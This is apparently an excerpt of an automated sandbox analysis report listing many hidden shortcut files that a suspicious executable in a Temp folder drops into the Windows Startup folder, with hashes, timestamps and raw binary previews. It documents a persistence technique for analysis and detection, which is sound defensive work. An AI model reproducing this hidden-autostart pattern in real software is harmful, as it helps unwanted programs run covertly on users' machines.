File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:10 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923650771963432
Encrypted:	false
SSDEEP:	24:8GBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DA8BC230BEA2648628D6284FEC68D366
SHA1:	EC25217DF9238F0960A03AA519C9000E98CEF979
SHA-256:	31A5A2C08DF9E356938C32885C9A5CEB2CB23AA1BE8767FC6C22998D5EAAD51C
SHA-512:	1E3E0CEE3113F9C6EBF79D868DEE6E0C82D39068A08B60979950424916599A1A20375D0A0C8CCDC7DD54D6DDA1E658AAB8C6915C51C550C503E60323186330C2
Malicious:	false
Preview:	L..................F....".......d...c..#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X.#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5c1d4789cb184dff809a6a949d62dbea.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930158985133399
Encrypted:	false
SSDEEP:	24:80Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8aREvZ0yRO7DLO2zdxdRd1kyg
MD5:	8028B3945D64D38E1B569A27ACEE5335
SHA1:	4FAD3125ECFB9A539AF38AA68C82D58D9169275D
SHA-256:	7342B749C9A65E0F223AE3ACC75D9A92454F88956B9101C6B1EE1B66D002329C
SHA-512:	3440F458D1F0FC43F10B71A8E30B3FF7828889330FDE1AD5F7ACF0C7480880D2ACF7648BB610F729FBBBCAA8A3AE32E294EEAA3F7C7D140F489375A719EAEC5F
Malicious:	false
Preview:	L..................F....".......d....k.{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5c4e0f9a1e55421b839e4b72638e678a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928754907562092
Encrypted:	false
SSDEEP:	24:892BfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8W4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	DC5D65265B8EAF637A7649E5E079F574
SHA1:	232907A6F2AC036A294D0B8F8A9D7144BD152AD0
SHA-256:	FD0A3E86CE48F176531FFCE0426279267FA562601446E941947CE9F3D9CBD730
SHA-512:	423DB11770B639EFEE24A6F559613E657C7BBD5EAD6390E68CCC65890B681AD25AD0DBF83B94233678FC3BE1FBDFF1395F12BEC169B29CA5321BAE6D5C52526F
Malicious:	false
Preview:	L..................F....".......d.....Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5c5ad7e0f1a444bda6d918f3feb9d5fa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919079299954474
Encrypted:	false
SSDEEP:	24:8eBfQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:809EvZ0yRO7DLO2zdxdRd1kyg
MD5:	ED6CCDC7B98AE6D2CC5DA768DC524A2A
SHA1:	ADF40165AED3A296EC7A2F139FD090245BC00C7F
SHA-256:	8A9415FA9FA6A60F608059FB922DD9F876B1E25C04E1CC3E9DA4F02AF7493E05
SHA-512:	CD73866C8B789599CBD322EA5D8B3AD564808A18A1E0A301467F7B87833EB55D06B03B9D77F70F931012A9EBF5EB3B9E0DAF31C1F067C23C35C3372137315A50
Malicious:	false
Preview:	L..................F....".......d...:...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...2...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5d203e1013ca4548a27c35aea21ff09b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9122889460939465
Encrypted:	false
SSDEEP:	24:8cBf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	173F00C204904BBC20A23BA2CFBC07E2
SHA1:	90B7897E8CB3D45D7F36839A378699FB5BE59F8F
SHA-256:	7486D152B688AE94FF71524D5C424240D1EE163959F5BA391C38333D96890B3F
SHA-512:	CDD3E747D7B64F8ADD8A9DA647CAAE7D1A04F589E648F0791CADB228639A6E1C9C10F31408734EB294C8F8457BE33CF7FAC8D1EB96A74EB0E8F660EAAEDF8569
Malicious:	false
Preview:	L..................F....".......d....~>\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....9\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5d346d0d741a4345abfe7a9e685e7db6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92181854345773
Encrypted:	false
SSDEEP:	24:8FBfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F585D93B924583CA0901A94FC96D9B15
SHA1:	07EA104BF6710DF2C37A844DE88B9ED26AB4AFB9
SHA-256:	F08EBB265E9D70C72966252B4B1A1381ABAFE65A674B41EA02975B3CE1F86747
SHA-512:	9D31DFE6BF647FE5B36A433C701F4DDE6594E8847324CBCFE609AD57F72F11E1A31F6CE063AA57106409531E9508453C258B70619D8C3F402FDE52CE462352AF
Malicious:	false
Preview:	L..................F....".......d..._>c.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5d3d5da592e84e35aca9d3e42ec61578.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924443214187436
Encrypted:	false
SSDEEP:	24:8UBfm4p8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86+9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	71626715564BC8EEC92A24236A5B110F
SHA1:	EA3E9F642A45AB2A23B2386C6337EF510D881353
SHA-256:	A9EEC71136A2FB4F6AD228DFA211E9724AEA2AAA3AA6AC776B8F1179080105F9
SHA-512:	F1F5F207A06B1267EDC4CFDB7D2AD280D456E29EDAC52D36EABBAAD86683804346391708B393E69F6591488BD7453D8AD48D0A5CA30114351198D1A69F0A4390
Malicious:	false
Preview:	L..................F....".......d......(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5d72fbb560364bf3a7bfbdb123f206d2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931355678028811
Encrypted:	false
SSDEEP:	24:82Bfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8859EvZ0yRO7DLO2zdxdRd1kyg
MD5:	94011D64F92CB5EDAD74E5A5641EEDB8
SHA1:	13D9BB65A5010E52FC05B05B24E4346DA3BEEBAA
SHA-256:	3AEFD2EF274CDA2DB2599F515974B04D7888B2FE0ECD2298425BCB199A564773
SHA-512:	7E363A9E872E2C5C9BEDB9E4BF6334E8E201914FE6E74D95D57A2B247A1AC25A326AD524F4050AC4ECD819986714CFEAB1BF01E6D62446E8898D687B13618619
Malicious:	false
Preview:	L..................F....".......d...a.u>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5d8f5953c6d34985acaf3120f05b0ee9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922013511567024
Encrypted:	false
SSDEEP:	24:87Bf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tCEvZ0yRO7DLO2zdxdRd1kyg
MD5:	94A192E14E4159BF5B60775FC6CA787A
SHA1:	9AB6C5AF4C1539203F5B6B82B629D94AA833158F
SHA-256:	B5AC3F86F275B0B72A68D9C39045F97C0D5722AE413E00AEBBD31BE888740B86
SHA-512:	0BE75618687DDEEE384501916A86299CC816F4809C47222083567C974A0F79B2B111363F355C7389676B680D19E2774EAB270E2B3AA705CD780964A7952BC76A
Malicious:	false
Preview:	L..................F....".......d....t."d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...*."d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5db781ebdf7f41e9a89c1395a24ec2c1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9177386137611965
Encrypted:	false
SSDEEP:	24:8k3Bfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8kRJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	262E0DC79E741BC36F0E281B7AD36977
SHA1:	0DF3264B6534C7F8AF40DD400DC15D89EA5378AC
SHA-256:	6036F2268F5393C77CC331A4D9EF2AD8D27ACBEA8BA9C8237F5FC238571C84F1
SHA-512:	69C85C166226FF27701CA2F66B0B783376BB40A3CF927F900471EC0AFAD9E55C66794B22EACA2ED56602680FB03D1E600AD1DA174FAE427A604CEA3940B96FAB
Malicious:	false
Preview:	L..................F....".......d...6.._d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4X._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5ed9c149a8cb45d2aaea0a7e041b1f45.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922064486378452
Encrypted:	false
SSDEEP:	24:8+BfT+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ULTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CFF0CB8CFEA0F1244B99A5691D2C0159
SHA1:	1C7BCB3E928F7726AA5EF82BD19775115200345B
SHA-256:	7C1C8FA3D62A0A25C292118A6B73C54118F405472292A5284C67EDDD159092B8
SHA-512:	8C6C6D83C1649EF000ED938031E892B5A936D4945112DDB97A231B794332DCD1A2FBF15BD99B20DA4EAF74B1BD5461E8EB7492CF419F0A8F965053461C87826E
Malicious:	false
Preview:	L..................F....".......d....hn9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....iO9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5f804fcbc7c04421b1ae15deadcb0f56.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9197149174111185
Encrypted:	false
SSDEEP:	24:8XBfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A74EC63F34D613D79776AB958764921A
SHA1:	85C9471C7FC3D04B38126C91FD70DE0CF3EE2C1D
SHA-256:	1174160461FC4AEFFE60AF05C408C0F1865607D0F73A03B06D3C7ECEDA8F85AC
SHA-512:	2E77C6604F5E8613030BB0D4BE95359E3C2CFC65DE7282CC52BA6369B4560F3A5C28CB9669B6BFB2137570D5FD93818CB06325F310213F4C21780260BFED7500
Malicious:	false
Preview:	L..................F....".......d...}.I.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_60c356c487fa47da9f5a019a13016e95.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921612374041181
Encrypted:	false
SSDEEP:	24:8hBf/P48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:873FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B0747F7BBFAB83D61F60FA245280FBE8
SHA1:	891ABFBD09DC3EC6A741B4CF7FA642DF8066D29D
SHA-256:	A20B6BA4A5D0011AD27FD874532AEFCF9E760F5EF60EB259DBD57E9AC9C77FB8
SHA-512:	E275B1A283D8697FCBA9318E36BFAC4FBCCB2D69391F7F0F5DB5428A2F76D8522098324198DB6CA257ABBB8103394DF6B2E80C349A9291EA54DA9F44236E5215
Malicious:	false
Preview:	L..................F....".......d...qC.{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....0.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_60c812333ba048889aad874ab4c795e1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
